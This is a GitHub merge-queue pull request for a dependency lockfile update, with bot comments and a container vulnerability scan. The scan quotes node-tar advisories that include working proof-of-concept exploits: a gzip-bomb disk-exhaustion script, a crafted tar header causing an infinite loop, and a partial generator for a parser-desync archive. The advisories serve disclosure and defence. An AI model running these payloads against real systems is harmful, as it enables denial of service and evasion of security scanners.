Skip to content

merge queue: checking main (64cdf8d) and #2818 together - #2832

Closed
mergify[bot] wants to merge 2 commits into
mainfrom
mergify/merge-queue/f955cf98a6
Closed

mergify[bot] wants to merge 2 commits into
mainfrom
mergify/merge-queue/f955cf98a6

Conversation

@mergify

@mergify mergify Bot commented Aug 3, 2026 •

Copy link
Copy Markdown
Contributor

🎉 This pull request has been checked successfully and will be merged soon. 🎉

Branch main (64cdf8d) and #2818 are queued together for merge.

This pull request has been created by Mergify to check the mergeability of #2818.
You don't need to do anything. Mergify will close this pull request automatically when it is complete.

Required conditions of queue rule Python Dependency Updates for merge:

  • check-success = Test Image / API Test
  • github-review-approved [🛡 GitHub repository ruleset rule main]
  • any of [🛡 GitHub repository ruleset rule main]:
    • check-neutral = @mergify/Mergify Merge Protections
    • check-skipped = @mergify/Mergify Merge Protections
    • check-success = @mergify/Mergify Merge Protections

Required conditions to stay in the queue:

---
checking_base_sha: 64cdf8d30ff6d6ea4f09ab918c862e4533d33e52
previous_check_retries: []
previous_failed_batches: []
pull_requests:
  - number: 2818
    scopes: []
scopes: []
...

@semanticdiff-com

Copy link
Copy Markdown

Review changes with  SemanticDiff

@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:07 Inactive
@mergify mergify Bot mentioned this pull request Aug 3, 2026
1 task
@sourcery-ai

sourcery-ai Bot commented Aug 3, 2026

Copy link
Copy Markdown
Contributor
Reviewer's guide (collapsed on small PRs)

Reviewer's Guide

This PR is a Mergify-generated merge-queue check that updates the Python dependency lockfile (uv.lock) to reflect the combination of main@64cdf8d and PR #2818, with no additional code or configuration changes beyond the lockfile update.

File-Level Changes

Change Details Files
Update Python dependency lockfile to represent the merge-queue state of main and PR #2818.
  • Regenerate uv.lock to incorporate dependency state from main (64cdf8d) and PR Lock file maintenance #2818.
  • No application code, configuration, or tests were modified outside of the lockfile.
uv.lock

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@socket-security

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatedpytest-mergify@​2026.7.29.1 ⏵ 2026.8.3.199 +110010010070
Updateduv-build@​0.11.32 ⏵ 0.12.1100100100100100
Updatedty@​0.0.63 ⏵ 0.0.65100 +1100100100100
Updatedruff@​0.16.0 ⏵ 0.16.1100 +1100100100100

View full report

@sonarqubecloud

sonarqubecloud Bot commented Aug 3, 2026

Copy link
Copy Markdown

@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to code_quality August 3, 2026 14:08 Inactive
@mergify
mergify Bot temporarily deployed to docker_image August 3, 2026 14:08 Inactive
@deepsource-io

deepsource-io Bot commented Aug 3, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 64cdf8d...04db49d on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
Shell Aug 3, 2026 2:08p.m. Review ↗
Python Aug 3, 2026 2:08p.m. Review ↗
Docker Aug 3, 2026 2:08p.m. Review ↗
Secrets Aug 3, 2026 2:08p.m. Review ↗

Important

AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.

@mergify
mergify Bot had a problem deploying to container_health August 3, 2026 14:11 Failure
@mergify
mergify Bot had a problem deploying to container_health August 3, 2026 14:11 Failure
@mergify
mergify Bot temporarily deployed to container_health August 3, 2026 14:11 Inactive
@mergify
mergify Bot temporarily deployed to container_health August 3, 2026 14:11 Inactive
@mergify
mergify Bot temporarily deployed to container_health August 3, 2026 14:11 Inactive
@mergify
mergify Bot temporarily deployed to container_health August 3, 2026 14:11 Inactive
@mergify
mergify Bot temporarily deployed to container_health August 3, 2026 14:11 Inactive
@MH0386

MH0386 commented Aug 3, 2026

Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of ghcr.io/alphaspheredotai/chattr:da0f6b2-pr-2832

📦 Image Reference ghcr.io/alphaspheredotai/chattr:da0f6b2-pr-2832
digestsha256:17c7456c6e59bcb01f9f8fea709dbc11cd492002064e613afd02e4095a65ddf2
vulnerabilitiescritical: 16 high: 63 medium: 29 low: 10 unspecified: 25
platformlinux/amd64
size283 MB
packages428
📦 Base Image cgr.dev/chainguard/wolfi-base:latest
digestsha256:016283cce63df878d2e7dbef006a36ad07a130eaa833ea6ecca53c022a855c7b
vulnerabilities
critical: 1 high: 9 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&origin=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 9 medium: 5 low: 2 libssl3 3.6.2-r2 (apk)

pkg:apk/wolfi/libssl3@3.6.2-r2?arch=x86_64&distro=wolfi-20230201&upstream=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 9 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 9 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&distro=wolfi-20230201&upstream=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 1 medium: 4 low: 0 tar 7.5.13 (npm)

pkg:npm/tar@7.5.13

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

critical 9.2: CVE--2026--59873 Allocation of Resources Without Limits or Throttling

Affected range<=7.5.18
Fixed version7.5.19
CVSS Score9.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
EPSS Score0.424%
EPSS Percentile35th percentile
Description

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

high 8.7: CVE--2026--59874 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range<=7.5.17
Fixed version7.5.18
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.418%
EPSS Percentile34th percentile
Description

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

medium 6.9: CVE--2026--53655 Interpretation Conflict

Affected range<=7.5.15
Fixed version7.5.16
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.141%
EPSS Percentile4th percentile
Description

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.

Impact

  • CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
    the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
    GHSA-fp55-jw48-c537).
  • A crafted archive can present one logical member list to a tool that lists or
    scans with node-tar and a different member list to GNU tar / libarchive /
    Python tarfile (and vice versa). This lets a malicious file be hidden from a
    scanner that uses a different parser than the eventual extractor, or hidden
    from node-tar-based inspection while still landing on disk via a system tar.
  • No authentication is required; the only precondition is that a victim parses
    an attacker-supplied tar with node-tar. Tar archives are routinely fetched
    from untrusted sources (package registries, user uploads, CI artifacts,
    container layers).
  • Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
    RCE; it is a building block for supply-chain / scanner-evasion attacks rather
    than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@<!-- -->7.5.15):

// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:

const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:

if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@<!-- -->LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
